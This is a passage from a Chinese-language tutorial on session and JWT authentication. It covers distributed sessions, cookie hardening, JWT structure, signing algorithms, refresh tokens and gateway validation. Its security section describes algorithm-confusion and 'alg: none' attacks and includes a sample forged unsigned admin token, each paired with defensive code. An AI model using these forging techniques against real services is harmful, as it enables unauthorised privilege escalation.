优点: - ✅ 实现简单,无需修改应用代码 - ✅ 无Session同步开销

缺点: - ❌ 服务器宕机导致Session丢失 - ❌ 负载不均衡(某些服务器压力大) - ❌ 扩容缩容困难

方案2:Session复制(Session Replication)

原理:每台服务器同步Session数据到其他服务器

Server A创建Session → 广播到Server B, C, D
Server B修改Session → 广播到Server A, C, D

实现:Tomcat Cluster、Spring Session

优点: - ✅ 高可用,任意服务器宕机不影响 - ✅ 用户请求可路由到任意服务器

缺点: - ❌ 网络开销大(N²复杂度) - ❌ Session数据不一致风险 - ❌ 扩展性差(服务器多时性能下降)

方案3:集中式Session存储(推荐)

原理:将Session统一存储在外部存储(Redis/Memcached)

所有服务器 → 共享Redis → 统一Session存储

架构:
┌──────────┐    ┌──────────┐    ┌──────────┐
│ Server A │    │ Server B │    │ Server C │
└────┬─────┘    └────┬─────┘    └────┬─────┘
     │               │               │
     └───────────────┼───────────────┘
              ┌──────┴──────┐
              │    Redis    │
              │   (Session  │
              │   Storage)  │
              └─────────────┘

优点: - ✅ 完美支持分布式 - ✅ 易于扩展 - ✅ 数据一致性好 - ✅ 支持持久化

缺点: - ❌ Redis成为单点(需要高可用方案) - ❌ 网络延迟(相比本地内存)

方案选择建议:

1. 小型单体应用(<3台服务器)
   → Session粘滞

2. 中型分布式应用
   → Redis集中存储

3. 大型微服务架构
   → Token方案(JWT)替代Session

1.6 Session安全最佳实践

1. 防止Session固定攻击(Session Fixation)

攻击原理:

1. 攻击者获取一个SessionID:abc123
2. 攻击者诱骗受害者使用这个SessionID登录
   (通过链接:http://example.com?jsessionid=abc123)
3. 受害者用自己的账号登录成功
4. 攻击者使用abc123访问,获得受害者权限

防护措施:

// 登录成功后重新生成SessionID
public void onLoginSuccess(HttpServletRequest request, User user) {
    // 1. 获取旧Session的数据
    HttpSession oldSession = request.getSession(false);
    Map<String, Object> attributes = saveAttributes(oldSession);

    // 2. 使旧Session失效
    if (oldSession != null) {
        oldSession.invalidate();
    }

    // 3. 创建新Session
    HttpSession newSession = request.getSession(true);

    // 4. 恢复数据到新Session
    restoreAttributes(newSession, attributes);

    // 5. 存储用户信息
    newSession.setAttribute("user", user);

    // 日志记录
    log.info("Session regenerated for user: {}", user.getUsername());
}

2. 防止Session劫持(Session Hijacking)

攻击方式: - 窃取Cookie(XSS攻击、网络嗅探) - 中间人攻击(HTTP传输)

防护措施:

// Cookie安全配置
Cookie sessionCookie = new Cookie("JSESSIONID", sessionId);

// 1. HttpOnly:防止JavaScript访问(防XSS)
sessionCookie.setHttpOnly(true);

// 2. Secure:仅HTTPS传输(防网络嗅探)
sessionCookie.setSecure(true);

// 3. SameSite:防止CSRF攻击
sessionCookie.setSameSite("Strict");
// Strict: 完全禁止第三方Cookie
// Lax: 允许部分第三方请求(GET导航)
// None: 不限制(需配合Secure)

// 4. 设置路径和域
sessionCookie.setPath("/");
sessionCookie.setDomain(".example.com");  // 跨子域共享

// 5. 设置过期时间
sessionCookie.setMaxAge(1800);  // 30分钟

额外防护:

// 绑定IP地址(可选,移动网络IP会变)
public boolean validateSession(String sessionId, String clientIp) {
    SessionData session = getSession(sessionId);
    if (session == null) return false;

    // 检查IP是否匹配
    if (!session.getIpAddress().equals(clientIp)) {
        log.warn("IP mismatch for session: {}", sessionId);
        return false;
    }
    return true;
}

// 绑定User-Agent(检测浏览器变化)
public boolean validateUserAgent(SessionData session, String userAgent) {
    return session.getUserAgent().equals(userAgent);
}

3. Session超时策略

固定超时(Absolute Timeout):

从创建时刻开始计时,到期必须重新登录

使用场景:高安全场景(银行、支付)
实现:
session.setMaxInactiveInterval(3600);  // 1小时后强制过期

滑动超时(Sliding Timeout):

每次活动都重置过期时间

使用场景:普通应用
实现:
每次请求都更新:last_accessed_at = NOW()

组合策略(推荐):

public class SessionExpirationPolicy {
    private int slidingTimeout = 30;    // 30分钟无操作
    private int absoluteTimeout = 480;  // 8小时绝对超时

    public boolean isExpired(SessionData session) {
        long now = System.currentTimeMillis();

        // 检查绝对超时
        if (now - session.getCreatedTime() > absoluteTimeout * 60 * 1000) {
            return true;
        }

        // 检查滑动超时
        if (now - session.getLastAccessTime() > slidingTimeout * 60 * 1000) {
            return true;
        }

        return false;
    }
}

4. 并发会话控制

单设备登录:

public void limitConcurrentSessions(String userId) {
    // 获取用户的所有Session
    List<String> existingSessions = redis.keys("session:user:" + userId + ":*");

    // 使旧Session失效
    for (String sessionKey : existingSessions) {
        redis.del(sessionKey);
    }

    // 创建新Session
    createNewSession(userId);
}

多设备登录(限制数量):

public boolean checkConcurrentSessions(String userId, int maxSessions) {
    List<String> sessions = getUserSessions(userId);

    if (sessions.size() >= maxSessions) {
        // 删除最旧的Session
        String oldestSession = findOldestSession(sessions);
        removeSession(oldestSession);
    }

    return true;
}

1.7 Session实际应用场景

场景1:单体应用

技术栈:Spring Boot + Tomcat
Session管理:内存存储
适用规模:<1000并发用户

配置:
server.servlet.session.timeout=30m
server.servlet.session.cookie.http-only=true
server.servlet.session.cookie.secure=true

场景2:分布式应用

技术栈:Spring Boot + Redis
Session管理:Spring Session + Redis
适用规模:>10000并发用户

配置:
spring.session.store-type=redis
spring.redis.host=redis-cluster
spring.session.timeout=30m

场景3:跨子域Session共享

需求:
- www.example.com
- api.example.com
- admin.example.com
共享登录状态

配置:
Cookie域设置:.example.com
Session存储:Redis(所有子域共享)


2. JWT(JSON Web Token)详解

2.1 JWT基础理论(What & Why)

JWT是什么?

JWT(JSON Web Token)是一种**开放标准(RFC 7519)**,定义了一种紧凑且自包含的方式,用于在各方之间安全地传输信息作为JSON对象。

设计目标: 1. 无状态:服务器不需要存储Session 2. 可扩展:天然支持分布式和微服务 3. 跨域:支持跨域身份验证 4. 自包含:Token包含所有必要信息

JWT vs 传统Session Token:

特性 传统Session Token JWT
存储位置 服务器端 客户端
Token内容 随机字符串(引用) JSON数据(自包含)
验证方式 查询存储 验证签名
服务器状态 有状态 无状态
扩展性 需要Session共享 天然支持分布式
撤销能力 容易(删除Session) 困难(需要黑名单)
大小 小(32-128字节) 大(通常>200字节)

2.2 JWT结构详解(Structure)

JWT由三部分组成,用点(.)分隔:

JWT = Header.Payload.Signature

完整示例:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

Part 1: Header(头部)

**作用:**描述Token的元数据

典型结构:

{
  "alg": "HS256",     // 签名算法(Algorithm)
  "typ": "JWT"        // Token类型(Type)
}

Base64URL编码后:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9

常用算法:

对称算法(HMAC):
- HS256: HMAC + SHA-256
- HS384: HMAC + SHA-384
- HS512: HMAC + SHA-512

非对称算法(RSA/ECDSA):
- RS256: RSA + SHA-256
- RS384: RSA + SHA-384
- RS512: RSA + SHA-512
- ES256: ECDSA + SHA-256

Part 2: Payload(载荷)

**作用:**存储实际数据(Claims)

Payload结构:

{
  // 标准Claims(Registered Claims)
  "iss": "https://auth.example.com",  // Issuer(签发者)
  "sub": "1234567890",                 // Subject(主题,通常是用户ID)
  "aud": "https://api.example.com",    // Audience(受众)
  "exp": 1735689600,                   // Expiration Time(过期时间,Unix时间戳)
  "nbf": 1735686000,                   // Not Before(生效时间)
  "iat": 1735686000,                   // Issued At(签发时间)
  "jti": "unique-token-id-123",        // JWT ID(唯一标识符)

  // 自定义Claims(Private Claims)
  "username": "zhangsan",
  "roles": ["user", "admin"],
  "permissions": ["read", "write"]
}

Base64URL编码后:

eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ

标准Claims详解:

Claim 名称 说明 示例
iss Issuer Token签发者 "https://auth.example.com"
sub Subject Token主题(用户ID) "user123"
aud Audience Token受众(谁可以使用) "api.example.com"["api", "web"]
exp Expiration 过期时间(Unix时间戳) 1735689600 (2025-01-01 00:00)
nbf Not Before 生效时间 1735686000
iat Issued At 签发时间 1735686000
jti JWT ID Token唯一ID(防重放) "abc-123-def"

⚠️ 重要提示:

Payload是Base64编码,不是加密!
任何人都可以解码查看内容!
❌ 不要在Payload中存放敏感信息(密码、信用卡号)
✅ 只存放必要的身份和权限信息

Part 3: Signature(签名)

**作用:**验证Token完整性和真实性

生成算法(以HS256为例):

signature = HMACSHA256(
  base64UrlEncode(header) + "." + base64UrlEncode(payload),
  secret
)

完整示例:

// 输入
const header = '{"alg":"HS256","typ":"JWT"}';
const payload = '{"sub":"1234567890","name":"John Doe","iat":1516239022}';
const secret = 'my-256-bit-secret';

// 步骤1:Base64URL编码
const encodedHeader = base64UrlEncode(header);
// eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9

const encodedPayload = base64UrlEncode(payload);
// eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ

// 步骤2:拼接
const data = encodedHeader + '.' + encodedPayload;

// 步骤3:签名
const signature = HMACSHA256(data, secret);
// SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

// 步骤4:完整JWT
const jwt = data + '.' + base64UrlEncode(signature);

签名的作用: 1. 完整性验证:检测Token是否被篡改 2. 真实性验证:确认Token由授权服务器签发 3. 不可伪造:没有密钥无法伪造有效签名

2.3 JWT工作流程(Workflow)

完整认证流程:

┌──────────┐                 ┌──────────┐                 ┌──────────┐
│  客户端   │                 │ 认证服务器 │                 │ 资源服务器 │
└────┬─────┘                 └────┬─────┘                 └────┬─────┘
     │                            │                            │
     │  1. POST /login            │                            │
     │     username & password    │                            │
     ├───────────────────────────>│                            │
     │                            │                            │
     │                            │  2. 验证凭证               │
     │                            │  3. 生成JWT:              │
     │                            │     - 创建Header           │
     │                            │     - 创建Payload          │
     │                            │     - 生成Signature        │
     │                            │                            │
     │  4. 返回JWT                │                            │
     │     {                      │                            │
     │       "access_token": "eyJ...",                         │
     │       "token_type": "Bearer",                           │
     │       "expires_in": 3600    │                            │
     │     }                       │                            │
     │<───────────────────────────┤                            │
     │                            │                            │
     │  5. 客户端保存Token        │                            │
     │     localStorage.setItem('token', ...)                  │
     │                            │                            │
     │  6. GET /api/user/profile                               │
     │     Authorization: Bearer eyJ...                        │
     ├────────────────────────────────────────────────────────>│
     │                            │                            │
     │                            │                            │  7. 提取Token
     │                            │                            │  8. 验证Token:
     │                            │                            │     - 解析Header
     │                            │                            │     - 解析Payload
     │                            │                            │     - 验证签名
     │                            │                            │     - 检查过期时间
     │                            │                            │  9. 提取用户信息
     │                            │                            │  10. 执行业务逻辑
     │                            │                            │
     │  11. 返回用户数据                                        │
     │<────────────────────────────────────────────────────────┤
     │                            │                            │

Token验证详细步骤:

/**
 * JWT验证伪代码
 */
public User validateToken(String jwt) {
    // 1. 分割JWT
    String[] parts = jwt.split("\\.");
    if (parts.length != 3) {
        throw new InvalidTokenException("Invalid JWT format");
    }

    String encodedHeader = parts[0];
    String encodedPayload = parts[1];
    String encodedSignature = parts[2];

    // 2. 解码Header
    Header header = base64UrlDecode(encodedHeader);
    String algorithm = header.getAlg();

    // 3. 验证签名
    String data = encodedHeader + "." + encodedPayload;
    String expectedSignature = sign(data, secret, algorithm);

    if (!encodedSignature.equals(expectedSignature)) {
        throw new InvalidTokenException("Invalid signature");
    }

    // 4. 解码Payload
    Payload payload = base64UrlDecode(encodedPayload);

    // 5. 验证Claims
    long now = System.currentTimeMillis() / 1000;

    // 检查过期时间
    if (payload.getExp() < now) {
        throw new TokenExpiredException("Token has expired");
    }

    // 检查生效时间
    if (payload.getNbf() > now) {
        throw new TokenNotYetValidException("Token not yet valid");
    }

    // 检查受众
    if (!payload.getAud().contains(expectedAudience)) {
        throw new InvalidAudienceException("Invalid audience");
    }

    // 6. 返回用户信息
    return new User(payload.getSub(), payload.getRoles());
}

2.4 JWT签名算法详解

对称签名(HMAC)

**原理:**使用同一个密钥进行签名和验证

常用算法: - HS256:HMAC-SHA256(推荐,最常用) - HS384:HMAC-SHA384 - HS512:HMAC-SHA512

签名过程:

签名方生成:
signature = HMACSHA256(data, secretKey)

验证方验证:
expectedSignature = HMACSHA256(data, secretKey)
valid = (signature == expectedSignature)

关键:签名方和验证方使用相同的secretKey

密钥要求:

HS256: 至少256位(32字节)
HS384: 至少384位(48字节)
HS512: 至少512位(64字节)

生成强密钥:
openssl rand -base64 64

优点: - ✅ 性能高(比非对称快10-100倍) - ✅ 实现简单 - ✅ 密钥管理相对简单

缺点: - ❌ 需要共享密钥(所有服务器都有密钥) - ❌ 密钥泄露风险高 - ❌ 不适合多方验证场景

适用场景: - 单体应用或同一组织内的微服务 - 认证服务器和资源服务器在同一信任域

非对称签名(RSA/ECDSA)

**原理:**使用私钥签名,公钥验证

常用算法: - RS256:RSA-SHA256(最常用) - RS384:RSA-SHA384 - RS512:RSA-SHA512 - ES256:ECDSA-SHA256(更短的密钥,相同安全性)

签名过程:

认证服务器(持有私钥):
signature = RSA_Sign(data, privateKey)

资源服务器(持有公钥):
valid = RSA_Verify(data, signature, publicKey)

关键:私钥签名,公钥验证,公钥可以公开分发

密钥对生成:

# 生成RS256密钥对
openssl genrsa -out private_key.pem 2048
openssl rsa -in private_key.pem -pubout -out public_key.pem

# 生成ES256密钥对(ECDSA)
openssl ecparam -genkey -name prime256v1 -noout -out ec_private_key.pem
openssl ec -in ec_private_key.pem -pubout -out ec_public_key.pem

优点: - ✅ 私钥只在认证服务器,安全性高 - ✅ 公钥可以分发给所有资源服务器 - ✅ 适合多方验证 - ✅ 支持密钥轮换

缺点: - ❌ 性能较低(比HMAC慢10-100倍) - ❌ 实现复杂 - ❌ 密钥管理复杂(需要PKI)

适用场景: - 微服务架构(多个资源服务器) - 第三方API访问 - 需要公开验证Token的场景

算法选择建议

场景1:单体应用或内部微服务
推荐:HS256
理由:性能高,实现简单,密钥管理容易

场景2:多租户SaaS平台
推荐:RS256
理由:每个租户可以有独立的密钥对,公钥分发

场景3:移动应用 + 后端API
推荐:RS256
理由:公钥可以内置在移动应用中验证

场景4:对性能要求极高
推荐:ES256(ECDSA)
理由:比RSA更快,密钥更短,安全性相同

⚠️ 避免使用 alg: "none"(无签名),存在安全风险!

2.5 JWT安全性深入

常见安全问题

问题1:算法混淆攻击(Algorithm Confusion)

攻击原理:

1. 攻击者获取公钥(公钥是公开的)
2. 修改Header:alg: "RS256" → "HS256"
3. 使用公钥作为HMAC密钥签名Token
4. 服务器用公钥验证HMAC签名 → 通过!

攻击示例:

// 原始Token(RS256)
Header:  {"alg": "RS256", "typ": "JWT"}
Payload: {"sub": "user123", "role": "user"}
Signature: [RS256签名]

// 攻击后的Token(改为HS256)
Header:  {"alg": "HS256", "typ": "JWT"}
Payload: {"sub": "user123", "role": "admin"}  // 提升权限!
Signature: HMAC(data, publicKey)  // 用公钥作为密钥

防护措施:

// ❌ 错误:信任Header中的算法
public boolean validateToken(String jwt) {
    Header header = parseHeader(jwt);
    String alg = header.getAlg();  // 从Token中读取
    return verify(jwt, alg);       // 危险!
}

// ✅ 正确:强制指定算法
public boolean validateToken(String jwt) {
    final String EXPECTED_ALG = "RS256";  // 硬编码
    Header header = parseHeader(jwt);

    if (!EXPECTED_ALG.equals(header.getAlg())) {
        throw new SecurityException("Algorithm not allowed");
    }

    return verify(jwt, EXPECTED_ALG);
}

问题2:None算法攻击

攻击原理:

// 攻击者修改Header
{
  "alg": "none",  // 无签名!
  "typ": "JWT"
}

// 伪造的Payload
{
  "sub": "admin",
  "role": "superadmin"
}

// Token格式:Header.Payload.(签名为空)
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJzdXBlcmFkbWluIn0.

防护措施:

// ✅ 拒绝none算法
public boolean validateToken(String jwt) {
    Header header = parseHeader(jwt);

    if ("none".equalsIgnoreCase(header.getAlg())) {
        throw new SecurityException("Unsigned JWT not allowed");
    }

    return verify(jwt);
}

问题3:密钥泄露

风险场景: - 密钥硬编码在源代码中 - 密钥提交到Git仓库 - 密钥通过日志泄露 - 密钥权限管理不当

最佳实践:

// ❌ 错误:硬编码密钥
private static final String SECRET = "my-secret-key-123";

// ✅ 正确:从环境变量读取
private final String secret = System.getenv("JWT_SECRET");

// ✅ 更好:从密钥管理服务读取
private final String secret = keyManagementService.getSecret("jwt-secret");

// ✅ 最佳:定期轮换密钥
public class KeyRotationService {
    private Map<String, SecretKey> keys = new HashMap<>();
    private String currentKeyId = "key-2024-01";

    public String sign(String data) {
        SecretKey key = keys.get(currentKeyId);
        return HMAC(data, key);
    }

    public boolean verify(String data, String signature, String keyId) {
        SecretKey key = keys.get(keyId);  // 支持旧密钥验证
        return HMAC(data, key).equals(signature);
    }
}

问题4:Token被窃取

攻击场景: - XSS攻击窃取localStorage中的Token - 中间人攻击拦截HTTP传输 - 恶意软件窃取

防护措施:

1. 使用HTTPS(防中间人)
   ✅ 所有API必须HTTPS
   ✅ 启用HSTS头

2. HttpOnly Cookie存储(防XSS)
   ✅ Token存储在HttpOnly Cookie中
   ❌ 不要存储在localStorage

3. 短期Token + Refresh Token
   ✅ Access Token: 15分钟
   ✅ Refresh Token: 7天,存储在安全Cookie

4. Token Binding(高级)
   ✅ 将Token绑定到TLS连接
   ✅ 防止Token被复制使用

问题5:重放攻击(Replay Attack)

攻击原理:

1. 攻击者截获有效的JWT
2. 在Token过期前重复使用
3. 即使用户已登出,Token仍然有效

防护措施:

// 方案1:使用jti(JWT ID)+ 黑名单
public boolean validateToken(String jwt) {
    Claims claims = parseToken(jwt);
    String jti = claims.getJti();

    // 检查是否在黑名单中
    if (blacklist.contains(jti)) {
        throw new TokenRevokedException();
    }

    return true;
}

// 登出时将jti加入黑名单
public void logout(String jwt) {
    Claims claims = parseToken(jwt);
    String jti = claims.getJti();
    long exp = claims.getExp();

    // 添加到黑名单,设置TTL为Token剩余时间
    long ttl = exp - (System.currentTimeMillis() / 1000);
    blacklist.add(jti, ttl);
}

// 方案2:使用nonce(一次性随机数)
{
  "jti": "unique-id-123",
  "nonce": "random-nonce-xyz",
  "iat": 1735686000
}

// 方案3:短期Token(最简单)
// Access Token: 5-15分钟
// 即使被窃取,影响时间也很短

Token撤销策略

**问题:**JWT无状态的特性导致无法主动撤销

解决方案对比:

方案 实现方式 优点 缺点 适用场景
黑名单 Redis存储已撤销的jti 精确控制 失去无状态优势 中等安全要求
白名单 Redis存储有效的jti 安全性最高 类似Session,失去JWT优势 高安全要求
短期Token 设置短过期时间 保持无状态 用户体验差(频繁刷新) 低安全要求
Refresh Token Access Token短期 + Refresh Token长期 平衡安全和体验 实现复杂 推荐方案
版本号 Payload中存储tokenVersion 简单 需要查询数据库 简单场景

推荐方案:Access Token + Refresh Token

架构设计:

Access Token(访问令牌):
- 用途:访问受保护资源
- 有效期:短(5-15分钟)
- 存储位置:内存或HttpOnly Cookie
- 是否可撤销:不可(但很快过期)

Refresh Token(刷新令牌):
- 用途:获取新的Access Token
- 有效期:长(7-30天)
- 存储位置:HttpOnly Cookie或安全存储
- 是否可撤销:可以(存储在数据库)

流程:
1. 登录 → 返回Access Token + Refresh Token
2. 访问API → 使用Access Token
3. Access Token过期 → 使用Refresh Token获取新的Access Token
4. Refresh Token过期 → 重新登录
5. 登出 → 撤销Refresh Token(数据库删除)

实现示例:

/**
 * Token刷新流程
 */
public TokenPair refreshToken(String refreshToken) {
    // 1. 验证Refresh Token
    Claims claims = jwtService.validateToken(refreshToken);
    String userId = claims.getSubject();
    String tokenId = claims.getJti();

    // 2. 检查Refresh Token是否在数据库中(未被撤销)
    RefreshTokenEntity entity = refreshTokenRepository
        .findByUserIdAndTokenId(userId, tokenId);

    if (entity == null || entity.isRevoked()) {
        throw new InvalidRefreshTokenException();
    }

    // 3. 生成新的Access Token(短期)
    String newAccessToken = jwtService.generateAccessToken(
        userId, 
        Duration.ofMinutes(15)
    );

    // 4. 可选:轮换Refresh Token(更安全)
    String newRefreshToken = jwtService.generateRefreshToken(
        userId,
        Duration.ofDays(7)
    );

    // 撤销旧Refresh Token
    entity.setRevoked(true);
    refreshTokenRepository.save(entity);

    // 保存新Refresh Token
    saveNewRefreshToken(userId, newRefreshToken);

    // 5. 返回新Token对
    return new TokenPair(newAccessToken, newRefreshToken);
}

2.6 JWT最佳实践

1. Token存储位置选择

选项对比:

存储位置 安全性 XSS风险 CSRF风险 适用场景
localStorage 高(易被XSS窃取) 不推荐
sessionStorage 高(易被XSS窃取) 临时Token
HttpOnly Cookie 低(JavaScript无法访问) 有(需CSRF防护) 推荐
内存变量 最高 SPA应用

推荐方案:HttpOnly Cookie + SameSite

// 服务器端设置Cookie
public void setTokenCookie(HttpServletResponse response, String token) {
    Cookie cookie = new Cookie("access_token", token);

    // 安全配置
    cookie.setHttpOnly(true);              // 防止JavaScript访问
    cookie.setSecure(true);                // 仅HTTPS传输
    cookie.setSameSite("Strict");          // 防止CSRF
    cookie.setPath("/");                   // 全站有效
    cookie.setMaxAge(15 * 60);             // 15分钟

    response.addCookie(cookie);
}

// 客户端自动携带Cookie
// 浏览器会自动在请求中包含Cookie,无需JavaScript操作

SPA应用方案:内存存储 + 自动刷新

// 客户端代码
class TokenManager {
    constructor() {
        this.accessToken = null;  // 内存存储
        this.refreshTimer = null;
    }

    // 登录后保存Token
    setToken(accessToken, expiresIn) {
        this.accessToken = accessToken;

        // 在Token过期前5分钟自动刷新
        const refreshTime = (expiresIn - 300) * 1000;
        this.refreshTimer = setTimeout(() => {
            this.refreshAccessToken();
        }, refreshTime);
    }

    // 获取Token
    getToken() {
        return this.accessToken;
    }

    // 刷新Token
    async refreshAccessToken() {
        const response = await fetch('/api/auth/refresh', {
            method: 'POST',
            credentials: 'include'  // 携带Refresh Token Cookie
        });

        const { access_token, expires_in } = await response.json();
        this.setToken(access_token, expires_in);
    }

    // 登出时清除
    clearToken() {
        this.accessToken = null;
        if (this.refreshTimer) {
            clearTimeout(this.refreshTimer);
        }
    }
}

2. Token过期时间设置

推荐配置:

Access Token(访问令牌):
- 移动APP:60分钟
- Web应用(SPA):15分钟
- 后台服务调用:5分钟
- 高安全场景(银行):5分钟

Refresh Token(刷新令牌):
- 移动APP:30-90天
- Web应用:7-14天
- 高安全场景:1-3天

原则:
- Access Token越短越安全,但刷新频率越高
- Refresh Token越长用户体验越好,但风险越高
- 根据实际场景权衡

实现示例:

public class JWTConfig {
    // Access Token配置
    public static final Duration ACCESS_TOKEN_VALIDITY = Duration.ofMinutes(15);

    // Refresh Token配置
    public static final Duration REFRESH_TOKEN_VALIDITY = Duration.ofDays(7);

    // 刷新窗口(在过期前多久可以刷新)
    public static final Duration REFRESH_WINDOW = Duration.ofMinutes(5);
}

3. Claims设计原则

✅ 应该包含的Claims:

{
  "sub": "user-123",              // 用户ID(必需)
  "iss": "https://auth.example.com",  // 签发者
  "aud": "https://api.example.com",   // 受众
  "exp": 1735689600,              // 过期时间(必需)
  "iat": 1735686000,              // 签发时间
  "jti": "token-uuid-123",        // Token唯一ID(用于撤销)
  "roles": ["user", "admin"],     // 角色(用于权限控制)
  "permissions": ["read", "write"], // 权限
  "type": "access"                // Token类型
}

❌ 不应该包含的信息:

{
  "password": "xxx",              // ❌ 密码
  "creditCard": "1234-5678",      // ❌ 敏感信息
  "ssn": "123-45-6789",           // ❌ 身份证号
  "privateKey": "xxx"             // ❌ 密钥
}

设计原则:

1. 最小化原则
   - 只包含必要信息
   - Token越小性能越好

2. 不可变原则
   - Token签发后无法修改
   - 需要更新信息时重新签发

3. 公开性原则
   - Payload可被任何人解码
   - 不要存放敏感信息

4. 标准化原则
   - 优先使用标准Claims
   - 自定义Claims命名规范

4. 多端登录管理

场景1:单设备登录(踢出旧设备)

public String login(String username, String password, String deviceId) {
    // 1. 验证凭证
    User user = authenticate(username, password);

    // 2. 撤销该用户所有旧Token
    refreshTokenRepository.revokeAllByUserId(user.getId());

    // 3. 生成新Token
    String accessToken = generateAccessToken(user);
    String refreshToken = generateRefreshToken(user, deviceId);

    // 4. 保存新Refresh Token
    saveRefreshToken(user.getId(), refreshToken, deviceId);

    return accessToken;
}

场景2:多设备登录(限制数量)

public String login(String username, String password, String deviceId) {
    User user = authenticate(username, password);

    // 获取用户当前活跃设备数
    List<RefreshToken> activeTokens = refreshTokenRepository
        .findActiveByUserId(user.getId());

    // 限制最多3个设备同时登录
    if (activeTokens.size() >= 3) {
        // 撤销最早登录的设备
        RefreshToken oldest = activeTokens.get(0);
        oldest.setRevoked(true);
        refreshTokenRepository.save(oldest);
    }

    // 生成新Token
    return generateTokens(user, deviceId);
}

场景3:不同设备不同权限

// 移动设备Token
{
  "sub": "user-123",
  "device_type": "mobile",
  "device_id": "iPhone-12-abc",
  "roles": ["user"],
  "permissions": ["read", "write"],
  "exp": 1735775400  // 7天
}

// Web设备Token
{
  "sub": "user-123",
  "device_type": "web",
  "device_id": "browser-session-xyz",
  "roles": ["user", "admin"],  // Web端有admin权限
  "permissions": ["read", "write", "delete"],
  "exp": 1735686900  // 15分钟
}

2.7 JWT在微服务中的应用

架构模式:

                            ┌─────────────────┐
                            │   API Gateway   │
                            │  (Token验证)    │
                            └────────┬────────┘
                ┌────────────────────┼────────────────────┐
                │                    │                    │
         ┌──────▼──────┐      ┌─────▼─────┐      ┌──────▼──────┐
         │ User Service│      │Order Service│      │Product Service│
         │  (验证Token)│      │  (验证Token)│      │  (验证Token)│
         └─────────────┘      └─────────────┘      └─────────────┘

方案1:网关统一验证(推荐)

/**
 * API网关Token验证
 */
@Component
public class JWTGatewayFilter implements GlobalFilter {

    @Override
    public Mono<Void> filter(ServerWebExchange exchange, GatewayFilterChain chain) {
        // 1. 提取Token
        String token = extractToken(exchange.getRequest());

        if (token == null) {
            return unauthorized(exchange);
        }

        try {
            // 2. 验证Token
            Claims claims = jwtService.validateToken(token);

            // 3. 将用户信息传递给下游服务(通过Header)
            ServerHttpRequest request = exchange.getRequest().mutate()
                .header("X-User-Id", claims.getSubject())
                .header("X-User-Roles", String.join(",", claims.getRoles()))
                .build();

            // 4. 继续处理
            return chain.filter(exchange.mutate().request(request).build());

        } catch (JwtException e) {
            return unauthorized(exchange);
        }
    }
}

/**
 * 下游微服务从Header获取用户信息
 */
@RestController
public class UserController {

    @GetMapping("/api/user/profile")
    public UserProfile getProfile(
        @RequestHeader("X-User-Id") String userId,
        @RequestHeader("X-User-Roles") String roles
    ) {
        // 直接使用用户信息,无需再次验证Token
        return userService.getProfile(userId);
    }
}

方案2:每个服务独立验证(高安全要求)

/**
 * 微服务内部Token验证
 */
@Component
public class JWTAuthenticationFilter extends OncePerRequestFilter {

    @Override
    protected void doFilterInternal(HttpServletRequest request, 
                                    HttpServletResponse response,
                                    FilterChain chain) throws ServletException, IOException {
        String token = extractToken(request);

        if (token != null) {
            try {
                // 每个服务独立验证Token
                Claims claims = jwtService.validateToken(token);

                // 设置认证上下文
                Authentication auth = new JWTAuthentication(claims);
                SecurityContextHolder.getContext().setAuthentication(auth);

            } catch (JwtException e) {
                // Token无效
            }
        }

        chain.doFilter(request, response);
    }
}

方案3:服务间调用Token传递

/**
 * 使用Feign传递Token
 */
@FeignClient(name = "order-service")
public interface OrderServiceClient {

    @GetMapping("/api/orders/{id}")
    Order getOrder(@PathVariable String id);
}

/**
 * Feign拦截器自动添加Token
 */
@Component
public class FeignTokenInterceptor implements RequestInterceptor {

    @Override
    public void apply(RequestTemplate template) {
        // 从当前请求上下文获取Token
        ServletRequestAttributes attributes = 
            (ServletRequestAttributes) RequestContextHolder.getRequestAttributes();

        if (attributes != null) {
            HttpServletRequest request = attributes.getRequest();
            String token = request.getHeader("Authorization");

            // 传递给下游服务
            if (token != null) {
                template.header("Authorization", token);
            }
        }
    }
}

3. Session vs JWT 深度对比

详细对比表

维度 Session JWT
状态存储 服务器端(有状态) 客户端(无状态)
扩展性 差(需Session共享) 优秀(天然支持分布式)
服务器压力 高(存储+查询) 低(只需验证签名)
Token大小 小(32-128字节) 大(通常200-1000字节)
性能 较慢(需查询存储) 快(本地验证)
撤销能力 容易(删除Session) 困难(需黑名单或短期Token)
跨域支持 受限(Cookie同源策略) 优秀(Header传递)
移动端友好 较差(Cookie管理复杂) 优秀(Header灵活)
实现复杂度 简单 中等
安全风险 Session劫持 Token泄露、重放攻击
信息容量 大(服务器端存储) 小(需控制Token大小)
适用架构 单体、小型分布式 微服务、RESTful API

场景选择指南

选择Session的场景:
✅ 单体应用或小型分布式系统
✅ 需要频繁撤销会话
✅ 需要存储大量会话数据
✅ 传统Web应用(服务器端渲染)
✅ 高度内网环境

选择JWT的场景:
✅ 微服务架构
✅ RESTful API
✅ 移动应用 + 后端API
✅ SPA(单页应用)
✅ 跨域应用
✅ 第三方API集成

混合方案:
✅ Session(Web端) + JWT(移动端API)
✅ JWT(Access Token) + Session(Refresh Token)
✅ 外部用户(JWT) + 内部员工(Session)

4. 实际应用场景案例

场景1:单体Web应用(Session方案)

技术栈:

前端:传统JSP/Thymeleaf(服务器端渲染)
后端:Spring Boot + Spring Session
存储:Redis

配置:

# application.yml
spring:
  session:
    store-type: redis  # Session存储到Redis
    timeout: 30m       # 30分钟超时
    redis:
      namespace: myapp:session

server:
  servlet:
    session:
      cookie:
        http-only: true
        secure: true
        same-site: strict

优势: - 实现简单,Spring自动管理 - 易于撤销Session - 适合传统Web应用

场景2:SPA应用(JWT方案)

技术栈:

前端:Vue.js/React(客户端渲染)
后端:Spring Boot RESTful API
认证:JWT(Access Token + Refresh Token)

Token流程:

// 前端代码
class AuthService {
    async login(username, password) {
        const response = await fetch('/api/auth/login', {
